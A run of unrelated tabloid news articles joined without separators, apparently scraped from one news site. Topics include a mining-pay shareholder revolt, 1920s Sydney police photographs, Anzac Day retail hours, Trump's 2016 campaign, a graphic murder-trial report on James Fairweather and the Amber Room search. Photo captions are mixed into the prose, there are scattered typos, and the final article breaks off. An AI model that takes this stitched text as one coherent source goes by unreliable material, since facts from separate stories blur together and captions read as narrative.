Harvest Minerals shares gained about 30 per cent on Tuesday as it updated on its Brazilian potash project. Shanta Gold shares were down upon release of its latest production report.

North Sea oil producer Serica revealed suspended production at its Erskine field would last longer than previously expected, which put a darker lining on otherwise fair weather financial results.

Before that, on Monday, Hurricane Energy unveiled a premium priced 52million funding deal which will see two wells drilled at its Lancaster field, West of Shetland, later this year. The deal also brings a planned farm-out transaction closer.

Outside the busy natural resources sectors, there were a few notable technology stocks on the rise.

Rosslyn Data Technologies shares were lifted on Monday by reports that Microsoft was mulling a bid for the big data specialist.

Content streaming group Immedia landed a five-year deal to supply in-store music for SUBWAY franchisees.
Protest: A solitary voice at Anglo's AGM demanded an explanation over boss Mark Cutifani's 3.4m pay

A lone shareholder shamed the millionaire bosses of mining giant Anglo American as the company sought to wave through fat cat executive pay.

Around 100 investors at the annual meeting of the FTSE 100 firm, were left stunned when the solitary voice demanded an explanation over the 3.4million awarded to boss Mark Cutifani.

He leapt to his feet to protest as Anglo chairman Sir John Parker sped through a series of slides which revealed that a staggering 41 per cent had voted against the pay deal.

Investor Phil Clarke sprang to his feet and called out: Excuse me, you just flipped past the vote against the remuneration report, is there anything you would like to say about that?

But Parker said that he would not add to previous discussion held by shareholders earlier at the meeting.

The anger at the pay deal at Anglo came after a year when the share price has fallen 75 per cent and the dividend cut.

The revolt among shareholders follows a rebellion among BP investors last week, where 59 per cent voted down the 13.9million pay of chief executive Bob Dudley.

Speaking after the meeting Mr Clarke said: It was astonishing. Parker clearly didnt want to talk about it. Its an ugly conversation for them.

Anglo is in the middle of a huge restructuring to cope with the tumbling commodity prices.

Earlier this year it said it plans to slash debt by nearly 7billionn, sell nearly 3billion more mines, shrink spending by 25 per cent to 2.1billion and slash its workforce by 85,000.

It suffered a loss of nearly 4billion in 2015 and its dividends were suspended.

The total votes cast prior to the annual meeting were 58.36 per cent in favour of the policy, and 41.64 per cent against. Cutifanis pay was criticised by a leading fund management group too.

Bruce Duguid, director of Hermes Investment Management, said: We have not supported the remuneration report this year as we are concerned by the unusually high number of shares issued to directors under its long-term incentive plan.

Anglos shares fell 5.6 per cent, by 44.7p, to 747.3p.

The revolt at the mining giant came as Glasgow-based oil firm Weir Group became the latest to face anger over its pay policy.

It plans to award executives share options regardless of their performance. Shareholder adviser group Institutional Shareholder Services has recommended an oppose vote ahead of Weirs annual meeting next Thursday.

The policy vote will be binding, which means if shareholders vote against it Weir may have to rethink its plans.

In Weirs annual report, Melanie Gee, chairman of its remuneration committee, said the group had performed a detailed review of its policy. She said: We will control fixed pay during 2016, but not at the risk of losing key management.
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Wearing top hats and waistcoats and staring eerily into the camera, these are the thieves, tricksters and accused killers who made up Syndey's Underworld in the 1900s.

Historic black and white images taken between 1910 and 1930 show the criminals just after they were arrested and taken into police custody.

Many were still wearing their best clothes when they were plucked from their surroundings and remanded in custody at the Central Police Station, in the lower half of Sydney's CBD.

Often about to appear before a magistrate in one of the Central Local Courts, then known as the Court of Petty Sessions, the accused sometimes faced a prison term or a hefty fine they couldn't afford to pay.

The series of 2500 pictures taken by New South Wales Police Department photographers form a special collection at the Sydney Justice & Police Museum which belong to the Historic Houses Trust and Sydney Living Museums.

Salesman Thomas Bede, 30, refused to open his eyes when he appeared in the Sydney police cells in 1928. Bede was arrested with mechanic Dennis Finn after the pair tried to bribe a cane farmer from giving evidence against Finn over the 'heartless' fraud of the farmer

This photgraph taken in the Central Sydney police cells in 1920 shows De Gracy and Edward Dalton, whose face bears the distinctive scar of a razor gang attack. They are believed to be 'magsmen', the word used for well-dressed conmen who worked in pairs tricking people out of money, often at racecourses

Curated by historian Peter Doyle, some of the photographs have been published in a book, City of Shadows which shows criminals and crime scenes to display the dark underbelly of Sydney in the early 20th century.

One striking photograph shows two well-dressed men in suits and hats in the Central Sydney police cells, identified as De Gracy and Edward Dalton.

The pair give the camera a cold-eyed stare and Dalton's face bears the distinctive scar of a slash by a razor gang - who dominated the Sydney crime scene in the 1920s.

A cropped print of this photograph appears in a police photo book from the 1920s, marked 'magsmen', the term commonly used in that era for the sharp-suited but ruthless conmen who worked in pairs to trick people out of money, often at racecourses.

Doyle said that compared with inmates in prison mug shots, the subjects of these remarkable photographs 'seem to have been allowed - perhaps invited - to position and compose themselves for the camera as they liked.

In the case of fraudster ,Thomas Bede, he was photographed in the police cells in November 1928 with his eyes screwed firmly shut to the point that the NSW police photographer wrote on the image 'This man refused to open his eyes'.

Perhaps not wanting to be identified or blocking out the circumstances of his arrest, Bede had been charged over what a magistrate would later described as a 'particularly heartless' fraud.

B Smith, Gertrude Thompson, 40, and Vera McDonald are pictured in the cells following their arrest. The women, along with ten other men, were arrested after a police raid on a house 'frequented by reputed thieves' in the inner city Sydney suburb of Darlinghurst in January 1928

Four of the men arrested in the Darlinghurst raid which netted 13 people including five women, include Christopher Smith, Raymond Neil, 27, William Thompson and Francis William Wilson (pictured left to right above)

Doyle said that the photography subjects' identity seemed 'constructed out of a potent alchemy of inborn disposition, personal history, learned habits and idiosyncrasies, chosen personal style - haircut, clothing, accessories - and physical characteristics'.

While the individuals have their names written on the photographs and , in some cases, the dates of their arrest, details of their crimes have not always been revealed.

Daily Mail Australia has uncovered for the first time from news reports in the National Library of Australia's collection of historic newspapers the actual details of many of the people featured in the stunning photographs.

A January 1928 police raid on a house in the then grimy inner city Sydney suburb of Darlinghurst which was 'frequented by reputed thieves' netted 15 people including five women who were taken into the Central Police station, charged and photographed.

During the raid a fight ensued between some of the men and the arresting police and one of the accused, Raymond Neil, is photographed with his arm in a sling.

Cross-dressers Neville McQuade, 18 (left) and Lewis Stanley Keith, 19, pictured outside North Sydney Police Station in June 1942 after being charged with being idle and disorderly persons, having insufficient means of support, and with having goods in their possession

In Sydney Police court in September 1920, Thomas Maria, 22, a fruiterer, Arthur Wyatt, 23, a mechanic and Patrick Dangar, 20, a salesman (pictured left to right) were charged with being in a Darlinghurst flat frequented by persons without lawful means of support

Also arrested in the Darlinghurst flat raid were barmaid Elsie Hill, 21, dressmaker Dulcie Morgan, 25, and Jean Taylor, 25, who rented the flat in which six thieves were apprehended. The women were charged with being in the company of persons having no lawful means of support

Police successfully raided several houses in the inner city Sydney suburbs of Darlinghurst and Surry Hills in the 1920s and arrested charged numbers of men and women who were known or 'reputed' thieves and charge with them with offences ranging from vagrancy,being in the company of persons who had no lawful means of support.

One raid, which resulted in the arrests of 13 people was deemed a successful swoop on'one of the most notorious thieves' kitchens in Sydney' which police described as a 'dilapidated hovel'..

Arrested were Eileen Leigh, the daughter of notorious Sydney crime matriarch and cocaine peddler, Kate Leigh, well-known thieves, pickpockets, confidence tricksters and criminal characters including Samule 'The Mouse' Hill, card sharp Frederick Newsome and infamous fence, Stephen Doyle.

When police raided a 'dilapidated hovel' in 1921, they arrested these 13 people including Eileen Leigh, 23 (in the hat), daughter of the notorious crime matriarch Kate Leigh, convicted thief Mary Lamb, 37, pickpocket Norman Smith, 24, (left, front), thief and fence Stephen Doyle, 37 (right, back), magsman Kenneth McClelland (next to Doyle) and card trickster Fred Newsome (back, third from left)

Ellen Kriegher (pictured) was accused of the 1923 'Coogee trunk murder' of Sydney woman Gertrude Mabel Heaydon whose remains were removed in a trunk from a flat in Sydney's Eastern Suburbs and her bones later found under the flagstones of a garage 10km away

The photographs of women in their best dresses or fine clothing depct some of the looking surprisingly relaxed and happy, despite their predicmanet.

One woman accused of murder, Ellen 'Nellie' Kriegher is photographed wearing a velour fake fur coat, with her arms folded and smiling into the lens.

Kriegher was one of four people accused of the 1923 'Coogee trunk murder' of Sydney woman Gertrude Mabel Heaydon whose putrefying remains were removed in a trunk from a flat in Sydney's Eastern Suburbs and her bones later found under the flagstones of a garage 10km away.

Heaydon had died in the Coogee flat following an illegal abortion by a Nurse Taylor. Police alleged Taylor murdered her on the behest of the woman's husband and then a 'team of low lifes' disposed of the body.

The case was eventually disproved and the charges were dropped against all four accused.
Anzac Day commemorations are just around the corner with the entire country recognising April 25 as a public holiday.

But even though many Australians will have a long weekend given Anzac Day falls on a Monday this year, what does it mean for retail businesses?

Every state and territory recognises Anzac Day as a public holiday but there are slightly different rules as to which business can open and trade normally.

Australian Retailers Association Executive Director, Russell Zimmerman, said that confusion around trading hours on Anzac Day and whether or not the full days is public holiday is common for both consumers and business owners.

Anzac Day commemorations are just around the corner with the entire country recognising April 25 as a public holiday. So what does it mean for businesses and trading hours?

'All Australians are to be aware that the vast majority of stores are unable to trade on Anzac Day until between 12:30pm and 1pm, dependent on the state or territory they are in,' Mr Zimmerman said.

'On this sacred day it is important for all Australians to be able to pay their respect to the men and women who have fought for Australia, and the significant sacrifices made by so many.'

Exceptions to morning store closure do apply in some cases, and the ARA advises business owners to check the regulations and opening hours for their area and store type.

'If consumers plan to visit stores on Anzac day, they should check with the stores they intend to visit that they will be open,' Mr Zimmerman said.

'In some locations, stores are allowed to open mid-way through the day, however, given the public holiday and expected lower foot traffic, many retailers may choose not to open at all.'

Here's a guide to what will be open on Monday, April 25:

New South Wales

Most business in NSW are not permitted to start trading before 1pm on Anzac Day due to restricted trading hours.

Supermarkets like Coles, Woolworths and Aldi will remain closed prior to this time. Pubs and licensed venues like RSL clubs will be open on Anzac Day.

Some retails shops are exempt from trading restrictions, including chemists, petrol stations, cafes, restaurants and takeaway restaurants. These stores can trade as normal on Anzac Day.

There are also a number of exempt trading areas, based on local government areas.

Most supermarkets across the country will only be allowed to open after 1pm on Anzac Day. Stores in Adelaide and Western Australia will likely remain closed all day

Pubs and clubs across the country will be open for Anzac Day, but most retailers won't open until after 1pm

Victoria

Like NSW, Victorian based retailers are not allowed to trade between midnight and 1pm on the public holiday unless they are exempt from trading restrictions.

All business, including supermarkets and major shopping centres are allowed to open after 1pm.

Exempt shops include chemists, petrol stations, cafes, restaurants, takeaway outlets and hire outlets such as video stores. Businesses with 20 or fewer employees and businesses with no more than 100 workers at any one time in the seven days prior to Anzac Day are also excempt.

After 1pm, all businesses may open.

Australian Capital Territory and Northern Territory

While trading restrictions do not apply for the ACT and Northern Territory, many businesses will close anyway until 1pm to follow the tradition of other states and territories.

Tasmania

Due to trading restrictions, supermarkets and other retailers under a franchise agreement will remain closed until 12.30pm on Anzac Day in Tasmania.

There are no trading restrictions on any other types of shops.

Supermarkets and shopping centres in most parts of Adelaide and Perth will be closed on Monday

South Australia

Stores in Adelaide's CBD are not allowed to trade before 12pm on Anzac Day.

Most supermarkets outside the CBD, including Coles and Woolworths, will not open for the entire day.

Stores outside the Greater Adelaide Shopping District or a Proclaimed Shopping District can trade at any time.

Queensland

Shops are not permitted to open in Queensland on Monday until 1pm. Many supermarkets like Coles and Woolworths will remain closed in certain areas, including Gold Coast, Cairns and Port Douglas.

Cinemas and amusement parts are also not allowed to start trading until 1.30pm unless they have been granted permission.

Western Australia

Retailers and businesses in Perth are not allowed to trade on Anzac Day.
He also came out against the plan to replace President Andrew Jackson with the civil-rights figure Harriet Tubman on the $20 bill

Trump raised fresh concern among some conservatives by speaking against North Carolina's 'bathroom law'

Trump's team said the GOP frontrunner is 'evolving' in a way that will improve his standing among general election voters

Donald Trump's chief lieutenants told skeptical Republican leaders on Thursday that the GOP front-runner has been 'projecting an image' so far in the 2016 primary season and 'the part that he's been playing is now evolving' in a way that will improve his standing among general election voters.

The message, delivered behind closed doors in a private briefing, is part of the campaign's intensifying effort to convince party leaders that Trump will moderate his tone in the coming months to help deliver big electoral gains this fall, despite his contentious ways.

Even as his team pressed Trump's case, he raised fresh concern among some conservatives by speaking against North Carolina's 'bathroom law', which directs transgender people to use the bathroom that matches the sex on their birth certificates.

Trump also came out against the federal government's plan to replace President Andrew Jackson with the civil-rights figure Harriet Tubman on the $20 bill.

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Donald Trump's chief lieutenants told skeptical Republican leaders on Thursday that the GOP frontrunner will moderate his tone in the coming months. Pictured above, Trump speaks during a campaign event at Stephen Decatur High School on Wednesday in Berlin, Maryland

The developments came as the GOP's messy fight for the White House spilled into a seaside resort in south Florida.

While candidates in both parties fanned out across the country before important primary contests in the Northeast, Hollywood's Diplomat Resort & Spa was transformed into a palm-treed political battleground.

Trump's newly hired senior aide, Paul Manafort, made the case to Republican National Committee members that Trump has two personalities: one in private and one onstage.

'When he's out on the stage, when he's talking about the kinds of things he's talking about on the stump, he's projecting an image that's for that purpose,' Manafort said in a private briefing.

'You'll start to see more depth of the person, the real person. You'll see a real different guy,' he said.

The Associated Press obtained a recording of the closed-door exchange.

'He gets it,' Manafort said of Trump's need to moderate his personality. 'The part that he's been playing is evolving into the part that now you've been expecting, but he wasn't ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change.'

The message was welcomed by some party officials but criticized by others who suggested it raised doubts about his authenticity.

'He's trying to moderate. He's getting better,' said Ben Carson, a Trump ally who was part of the GOP's front-runner's RNC outreach team.

While Trump's top advisers were promising Republican leaders that the GOP front-runner would moderate his message, the candidate was telling voters he wasn't ready to act presidential.

Trump raised fresh concern among some conservatives by speaking against North Carolina's 'bathroom law'

Donald Trump strategist Paul J Manafort, left, chats with former presidential candidate Ben Carson as they head to a Trump for president reception at the Republican National Committee Spring Meeting on Thursday

'I just don't know if I want to do it yet,' Trump said during a raucous rally in Harrisburg, Pennsylvania, Thursday that was frequently interrupted by protesters.

'At some point, I'm going to be so presidential that you people will be so bored,' he said, predicting that the size of his crowds would dwindle if he dialed back his rhetoric.

There was evidence of drama on the Democratic side as well.

Prominent Southern Democrats urged Bernie Sanders to stop dismissing Hillary Clinton's landslide primary wins across the South, where the front-runner's popularity among non-whites has helped fuel her success.

Sanders said the results in the South 'distort reality' because they came from the country's 'most conservative region'.

Don Fowler of South Carolina, a former chairman of the Democratic National Committee, and other Clinton supporters told Sanders in a letter that 'our national Democratic leaders' should 'invest in our races and causes - to amplify our voices, not diminish them'.

Yet as Clinton's grasp on the Democratic nomination tightens, Trump's overwhelming Republican delegate lead has done little to calm concerns from GOP leaders, gathered at the resort for the party's meeting.

As Trump continues to rail against 'a rigged' nomination process, he sent Manafort and his newly hired political director, Rick Wiley, to help improve relationships with party officials at the meeting.

'He might not win some of these blue states, but you can make the Democrats spend money and time,' Wiley said.

Trump's team also signaled to RNC members a fresh willingness to dip into the New York real estate mogul's personal fortune to fund his presidential bid, in addition to helping the national committee raise money, a promise that comes just as Trump launches his first big television advertising campaign in a month.

Republican presidential candidate Sen Ted Cruz, R-Texas, gestures as he speaks during a news conference on Wednesday at the Republican National Committee Spring Meeting in Hollywood, Florida

His campaign reserved about $2million worth of air time in soon-to-vote Pennsylvania and Indiana, advertising tracker Kantar Media's CMAG shows.

'He's willing to spend what is necessary to finish this out. That's a big statement from him,' Manafort said in the briefing.

Trump is increasingly optimistic about his chances in five states holding primary contests on Tuesday: Rhode Island, Connecticut, Pennsylvania, Delaware and Maryland.

He is now the only Republican candidate who can possibly collect the 1,237-delegate majority needed to claim the nomination before the party's July convention.

Chief rival Ted Cruz hopes Trump will fall short of a nomination-clinching delegate majority so that he can turn enough delegates to his side at the convention to give him the prize.

The political posturing came as Trump sparked new criticism by addressing the debate over which bathrooms transgender people should use.

Speaking at a town-hall event on NBC's Today show on Thursday, Trump said North Carolina's bathroom law has caused unnecessary strife and transgender people should be able to choose which bathroom to use.

'There have been very few complaints the way it is,' Trump said. 'People go, they use the bathroom that they feel is appropriate.'

Cruz lashed out at Trump's 'support of grown men using women's restrooms'. The Texas senator called Trump's position 'a reckless policy that will endanger our loved ones.'
Shocking video shows him acting out the first murder in police interview

The family of one of his victims today branded the teenager 'a monster'

He later told a doctor he wanted to torture prostitutes and burn babies

The boy became obsessed with serial killers watching videos in his room

Teenager stabbed one victim 102 times and knifed another in the eye

A chilling video shows a Ripper-obsessed teenager coldly demonstrating to police how he repeatedly stabbed the first of his two victims.

James Fairweather unleashed two sickening attacks in Colchester, Essex after developing a fixation with Yorkshire Ripper Peter Sutcliffe and other serial killers.

He had denied the two murders on the grounds of diminished responsibility, but was convicted by a jury at Guildford Crown Court today.

In a newly-released police video of an officer interviewing Fairweather after his arrest, he demonstrates how he repeatedly knifed his first victim, 33-year-old father-of-five James Attfield.

In the first murder - carried out in 2014, when Fairweather was just 15 - he stabbed Mr Attfield 102 times before leaving him fighting for his life.

In a police interview, double murderer James Fairweather acted out his first killing, showing how James Attfield was sleeping at the time when he set upon him and repeatedly stabbed him

Fairweather showed the officer how he jumped on top of and repeatedly stabbed him in an attack lasting two minutes

Fairweather shows the officer where he stabbed his stricken victim during the attack in 2014

Fairweather claimed voices told him to kill, but prosecutors said he knew what he was doing.

The 38-second clip of his police interview shows Fairweather telling an officer: 'The voices were talking to me and you need to make a sacrifice or we are coming to get you, you need to do it, and I saw him.

'He was laying on the grass, [leans back to show how he was laying down] fast asleep where he was drunk and he goes 'your the one, he's the one, do it, do it' so I went over to him.'

Asking the interviewing officer, 'can I stand up?' The teen then mimics how he ruthlessly stood over this victim and repeatedly knifed him in the stomach.

He added: 'I went up to him like that [making a stabbing motion towards the ground] I first stabbed him there [as he rubs his upper stomach area], I stabbed him a few times [making a stabbing motion].

'While I was doing that my voices were laughing and laughing, getting louder and louder.'

Fairweather's second attack came three months after the first, when he killed Saudi Arabian student Nahid Almanea, 31, as she walked through a park.

She was knifed 16 times and Fairweather later admitted stabbing her in the eye after knocking off her sunglasses.

Following an often disturbing trial at Guildford Crown Court, it can be reported today that:

Fairweather sneaked out of a window at his family home to commit the first murder, in which he stabbed James Attfield 102 times.

He was caught when he was planning a third killing and was arrested at the scene of an earlier murderer wearing gloves and with a knife in his pocket.

The jury rejected claims he was not in control of his actions when he carried out the murders.

A psychiatrist who analysed Fairweather said he had 'the most anti social thoughts I think I have come across'.

The family of one of Fairweather's victims have called him a 'monster'.

A crime commissioner has criticised the ease with which children can access 'extremely violent' material over the internet.

The fact that Miss Almanea was wearing a Muslim hijab at the time of her murder sparked fears the attack could be racially motivated.

Teenage double murderer James Fairweather, pictured with the gloves he had on when he was arrested. It is believed he was looking for a third victim at the time

Fairweather was carrying this knife when he was arrested - a year after he murdered his two innocent victims

But despite Fairweather having an interest in Nazis and the fascist group Combat 18, he claimed he killed Miss Almanea because voices told him she was a 'sinner' who should 'see no evil'.

Fairweather was first questioned over the two killings shortly after Miss Almanea died, but was released by police after denying involvement. He was then free for 11 months until he was finally arrested and confessed in the interview seen today.

James Fairweather is a monster in our eyes - and we will never be able to forgive him The mother of victim Jim Attfield

He was caught with a knife not far from where Miss Almanea was murdered after two members of the public saw him acting suspiciously. He later revealed he was planning to kill again.

At the time of his death, victim Mr Attfield, known as Jim, was suffering short term memory loss and problems with his speech after a car accident earlier in his life.

Mr Attfield's mother, Julie Finch, who was in court today, said her son was 'well liked and polite - everyone always had a good word to say about him'.

Ms Finch said today: 'On March 29, 2014, our lives were changed forever when my kind and brave son Jim was brutally killed.

'He had been through so much already, having fought hard to overcome the effects of brain damage suffered when he was struck by a car. He didn't deserve to die.

'At the time we had no idea the killer was so young - a fact that makes my sons' death feel all the more cruel and unnecessary

'James Fairweather is a monster in our eyes - and we will never be able to forgive him.'

Left: Double murderer James Fairweather after his arrest. Right: His mother Anita has told the court he became withdrawn and spent a lot of time in his room after starting secondary school

Fairweather also killed Saudi student Nahid Almanea, pictured on CCTV shortly before she was attacked

The family of Miss Almanea's have previously said they were left 'devastated' by her murder.

They said: 'Nahid was a remarkable and gentle person who was loved for her kind and caring nature.

'Publicly, Nahid was a quiet and dignified lady who chose to pursue her academic studies in order to work towards her PhD, and whilst in England she made a decision that she would respect her heritage and traditions in the way that she dressed and conducted herself.

'The amount of people that attended Nahid's funeral is a tribute to how much she was cared for and respected.'

The defence claimed Fairweather, who is autistic, was suffering from psychosis at the time of the killings and was unable to form a rational judgement.

But this was rejected by the prosecution, who claimed he had made up the voices to 'hoodwink' the jury into acquitting him of murder.

Prosecutor Philip Bennetts, QC, told the court Fairweather had made a 'freely formed decision' to carry out the killings.

Mr Bennetts said: 'He knows in detail what he did, and he is setting about putting forward a defence which he hopes will result in him being found not guilty of murder.

'The prosecution case is that the self reported hallucinations are a fabrication, a fabrication to hoodwink you to acquit him of murder.'

Victim Mr Attfield's mother Julie Finch, (left) at court today and (right) with her son before his murder

The final picture of victim James Attfield before he left a pub in Colchester and was killed on his way home

James Atffield - a father of five who had been left disabled by a car crash - was Fairweather's first victim

Jurors were told about DVDs found at the teen's home, including 'Wrong Turn: The Carnage Collection', 'Bind Torture Kill', and 'Bundy', about serial killer Ted Bundy, who was described as his favourite serial killer.

Books including 'The World's Worst Crimes' and volumes about Peter Sutcliffe were also found at the home.

Fairweather, a former pupil at Colchester Academy, claimed he started hearing voices in 2013, aged 14, while he was being bullied at school.

Essex Police and Crime Commissioner Nick Alston said after the verdicts: 'I have found this case deeply disturbing, as has the wider Essex community, because of the level of violence perpetrated by a defendant of such a young age on two individuals completely unknown to him.

'This case highlights the need for all of us to be prepared to talk about not only the harm being perpetrated by our young people, but also the likelihood that harm is being caused to them by repeated exposure to extreme violence and pornography, both of which are readily available on the internet and both of which we have heard cited in this case.

'I hope now the families of Nahid and James can be left to grieve in peace and begin to rebuild their lives.'

How a 'sensitive and quiet' boy from a 'happy home' turned into a reclusive thug who wanted to join fascist group Combat 18 and was obsessed with serial killers

James Fairweather killed two people in horrific knife attacks when he was aged just 15

Few would have guessed the shocking injuries suffered by Saudi student Nahid Almanea were caused by a boy who was still at school.

Even fewer would have thought the 100-plus stab wounds inflicted on father-of-five James Attfield were the work of a teen once described as 'sensitive and quiet' by his teachers.

But, before his parents' eyes, James Fairweather transformed from a thriving, happy youngster to a withdrawn, aggressive thug who was obsessed with murderers and spent his time watching violent porn.

Despite coming from a supportive home and living with two working parents, he became interested in cannibalism and wanted to join fascist group Combat 18.

And while his parents slept, he slipped out of his family's terraced home and committed two of the most gruesome killings seen in recent years.

He then secretly collected newspaper cuttings of the brutal stabbings, which he later admitted made him feel 'powerful' and 'excited'.

The cache of violent literature found at his home was part of the prosecution case that the two killings were planned to play out the twisted fantasies he had developed while alone in his bedroom.

Yet school reports from his primary school days offered no hint that Fairweather would grow up to be a killer.

A teacher's note from his second year described him as 'a quiet and well behaved child'. It states: 'He is very hardworking, kind, sensitive to the needs of others.'

The following year, another member of school staff commented that Fairweather's 'confidence has soared recently'.

James Fairweather can be identified for the first time today as the schoolboy who brutally killed two people - stabbing one of his victims 102 times

Fairweather snuck out of the window of his parents' house in Colchester to commit the first of his murders

The reports must have been pleasing for his parents, who were described as 'loving and caring' and as having 'a strong attachment' with their son.

But their boy's behaviour changed soon after the age of 11 when he moved to secondary school and was said to have suffered bullying.

In one episode, he was apparently goaded into violence by other children who he wanted to impress.

An email home from a teacher said he been 'provoked and led by peers who told him to punch another pupil' on the nose, before he shared 'high fives' with others.

Fairweather's mother Anita attended the trial today

Over the following years, his behaviour was to deteriorate rapidly and, after he clashed with a teacher, a meeting was held in which he was described as 'violent, aggressive and as seeking out confrontation'.

His parents watched as the impact of their son's increasingly troubled state of mind spread from school to home and he became reclusive and spent more time in his room.

A further blow came two years before he carried out the double killing when his grandmother, who was described as a strong force in his family, passed away.

His worried parents described him as 'isolated, barely grunting, and spending a lot of time in his room and even eating alone'.

Alone in his room, the boy began accessing violent pornography on the internet as well as watching documentaries about Nazis and fascism.

He also started using his phone to find out about more and more extreme material.

A psychiatrist told the trial: 'He was interested in Peter Sutcliffe. He said to me he doesn't like gays, prostitutes, or disabled people or drug addicts.'

Fairweather fantasised about pulling the tongues out of prostitutes' mouths and, as part of his fascination in US serial killer Ted Bundy, who murdered more than 30 women and girls during the 1970s, the teen developed an interest in cannibalism.

Consultant forensic psychiatrist Dr Simon Hill said: 'My impression was that he was describing the most anti social thoughts I think I have come across.

'He was describing real excitement about violence. He talked about voices telling him to set fire to babies, cut their necks off.

'He talked with real anger about prostitutes and his hatred of prostitutes and how he would like to pull their tongues out.'

Among DVDs found at Fairweather's home was one called 'Carnage Collection' which included killings where victims were attacked from behind with a knife by a killer hiding in bushes.

It was a chilling insight into a method believed to have been used by the teen to kill his two victims.

The boy's fantasies of violence first became a reality in January 2014, when he attempted to rob a convenience store with a knife.

He later described the raid as a 'test' of himself, suggesting he was building himself up for more serious crimes.

A police tent at the scene of one of Fairweather's murders. He was found guilty of two counts of the offence todat

Police scour the scene near one of the killings. Prosecutors said the meticulous way the killer tried to hide his crimes showed he was lying about his claimed pyschosis

The boy was caught and prosecuted, but escaped detention on a youth referral order, during which he carried out the sickening knife attacks for which he is now to be jailed.

A couple of months after walking free from the youth court, he carried out his first killing on a night when he was up late and his parents were asleep.

He claimed he heard voices telling him he needed to 'make a sacrifice' and he slipped out of his home and eventually came upon James Attfield, who was stabbed 102 times in an attack lasting at least two minutes.

'I snuck out the front of the house through the living room window. Then I went and walked around the estate looking for a sacrifice,' he later said.

After disposing of his weapons and clothes and returning home undetected, the boy waited for three months before killing again,

He set upon student Nahid Almanea as she walked through a park. He later claiming 'the voices' were laughing at him as he stabbed her in the eye.

Despite early fears the attack was racially motivated, apparently backed by the boy's interest in Nazism, he claimed in his interviews with police that he killed her only because he considered her 'a sinner'.

Books and DVDs found at his home showed he was fascinated with notorious criminals such as Peter Sutcliffe (left) and Charles Bronson (right)

The way the double killer acted after the attacks was the subject of the dispute at his trial.

The prosecution say the meticulous way in which he disposed of evidence and denied the offence when first questioned by police, showed he was a calculating murderer.

His defence say his muddled state of mind and bizarre ramblings after his arrest show his behaviour was the result of mental illness.

On either account, he waited a long time before deciding to kill again, saying he was 'keeping my head down', because 'the police were everywhere'.

He was finally caught a year after the first two killings - again with a knife in his pocket and wearing gloves.

He later told a doctor: 'I was in the mood to kill someone. The devil wanted me to kill.'

Why wasn't he stopped? Knifeman was being handled by probation team at time of stabbings and police let him go after first questioning

James Fairweather was known to local probation officers at the time he carried out his gruesome killings, raising questions over whether authorities did enough to stop him.

The 17-year-old - who carried out the killings when he was just 15 - was put under the watch of a Youth Offending Team for after he committed a knife-point robbery months earlier.

But despite him being on the youth equivalent of community service, he managed to kill and kill again before spending 11 months waiting to commit a third attack.

The boy claimed 'voices' told him to carry out the gruesome killings in which he stabbed father-of-five James Attfield 102 times and knifed Nahid Almanea 16 times.

It emerged during the trial that the defendant was the subject of a youth referral order following the robbery in January 2014.

The killer committed the killings two months apart. He was arrested a year later in a location near his second killing in possession of a weapon

He walked into a convenience store and demanded a lighter and a pack of cigars from the cashier while holding a six-inch long kitchen knife.

Despite sentencing guidelines for such offences suggesting a sentence of one to six years, he walked free from a youth court after being told to comply with the demands of a local youth offenders team.

It is understood he was given the softer sentence because he had no previous convictions.

TIMELINE OF HIS DEADLY ATTACKS March 29-30, 2014: Disabled James Attfield is killed in a late night attack in which he suffers 102 stab wounds. June 13, 2014: Nahid Almanea is stabbed 16 times and dies in attack not far from the killing of Mr Attfield. June 30, 2014: Attacker is interviewed at his home but officers leave without arresting or charging him. May 26, 2015: After nearly a year evading justice, the boy is arrested in possession of a knife and wearing gloves near the scene of his second killing. He later admits the killings. Advertisement

A doctor told his trial that there was 'no evidence' he had psychotic symptoms when he was assessed after the robbery.

But although he was supposed to be reporting to his offending team, just two months after the robbery, he carried out the killing of Mr Attfield and three months later he stabbed Miss Almanea to death.

Chillingly, he repeatedly returned to the scene of the killings in the weeks after to, in the words of his doctor, 'relive and fuel the fantasy'.

He remained at large between the two killings and for months afterwards and was not questioned by police until two and a half weeks after the second victim died.

He was one of nearly 70 people interviewed in the weeks after the second killing.

Adam King, prosecuting, told the trial: 'He was interviewed on June 30th voluntarily, not as a suspect, and in the presence of his mother. He told police he was at home at the time Ms Almanea was killed.'

But after police officers attended his home and spoke to him, no further action was taken.

He remained at large until almost a year later, when he was spotted lurking at the scene by two women walking their dogs.

One of the women told the court she felt anxious after seeing him on the path where Miss Almanea was killed a year earlier.

Mr Attfield had left this pub in Colchester shortly before he was set upon and murdered by Fairweather

Describing a decision which may have saved her life, the woman said: 'I decided to get out of there. I didn't want to draw attention to myself.'

After discussing the killer's 'odd behaviour' with another woman, they decided to tell the police.

The killer later told officers: '[The voices] said we need another sacrifice and I was going to get my third victim, but there was no one about.'

A spokesman for Essex County Council, who are responsible for the Young Offending Team, said today: 'Our thoughts remain with the families of the victims.

Steve Worron, Assistance Chief Constable of Essex Police, insisted Fairweather wasn't ruled out as a suspect after his initial interview

'We can confirm that the defendant was known to the Youth Offending Team and was subject to a 12 month referral order.

'During that time he had contact with the Youth Offending Team at least once a week and complied with all actions and appointments required of him. A referral order does not warrant constant supervision.

'A review of the case has since been carried out and did not identify any issues or actions which could have prevented these tragic events.'

Steve Worron, Assistance Chief Constable of Essex Police, said Fairweather was never 'eliminated' from the inquiry.

He said: 'He was never let go, he was voluntarily interviewed. He was one of 69 people interviewed in relation to Nahid's murder and there were almost 300 people voluntarily interviewed for Jim Attfield's murder.

'He gave an account for his whereabouts which could not be corroborated.

'So on that basis he was never eliminated from the investigation and he remained a person of interest to the investigation.

'The gathering of evidence, all the evidence that's gathered would be tested against those people of interest. He couldn't be eliminated and wasn't eliminated, but there was no evidence to link him to either offence.

'We have heard in court in terms of the efforts that he went to in the planning and preparation of both murder.

'And also the extensive efforts that he went to to make sure that he didn't leave any forensic material at the scenes and then disposed of his clothing and the knives that he used some considerable distance from where the two offences took place.
They believe it could contain Amber Room treasure and will start digging

Museum officials claim to have used geo-radar to uncover a hidden bunker

Exactly where it was taken still remains one of the war's greatest mysteries

The room, worth 250million, was looted when the Nazis invaded Russia

A museum in Poland believes it has discovered the legendary Amber Room

The search for a one of the greatest missing treasures of the Second World War  an Amber Room worth 250million  has taken a fresh twist as treasure hunters say it may be in a secret room in a Polish museum.

The room, built for Russian tsar Peter the Great in the 1700s and packed with amber, gold and precious jewels, was stolen by the Nazis and mysteriously disappeared at the end of the Second World War.

For decades, hunters have scoured Europe searching for the missing treasure to no avail.

